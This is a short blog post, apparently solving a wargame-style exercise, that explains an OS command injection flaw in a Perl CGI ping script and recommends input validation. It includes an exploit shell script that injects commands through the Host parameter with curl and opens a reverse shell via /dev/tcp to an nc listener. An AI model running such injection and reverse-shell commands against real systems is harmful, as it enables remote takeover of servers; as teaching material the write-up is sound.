Sunday, October 5, 2014

Software flaw #7: Solution


Vulnerability from this week is example of OS command injection class of errors. Main cause of this vulnerability is complete lack of sanity check of program's input data:


use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0]; # [2]

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`; # [3]
  foreach $line (@output) { print "$line"; } 



# check if Host set. if not, display normal page, etc

ping(param("Host")); # [1]

As we can see at [1] URL parameter 'Host' is provided to 'ping' subroutine. At [2] it is assigned to local variable '$host'. This variable is used at [3] without any sanity checks in OS shell context. Basically it allows to execute arbitrary shell comand with privileges of httpd server process on vulnerable machine.


Here's simple example of how this type of flaw could be exploited (the code is self-explanatory):


# exploit usage: launch exploit from external machine as $1 provide IP to nebula machine

# standard payload to do the level (boring)

# more interesting approch (gives you reverse shell)

#bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

if [ -z "$1" ]
    echo "Usage: `basename $0` <nebula-machine-ip-address> <reverse-ip> <reverse-port>"
    exit 1

(sleep 1; curl http://${IP}:7007/index.cgi?Host=localhost%3B"${PAYLOAD2}") &
nc -l -p 2222 -vvv


All input data should be carefully validated before use. In this particular example purpose of the program is to ping chosen machine so the program should only accept IP addresses or hostnames as input data, all other input should be discarded. Additionally program should automatically remove command separators used in UNIX shells (';' or %3B in url encoding) because it allows to execute additional commands as seen in the exploit above.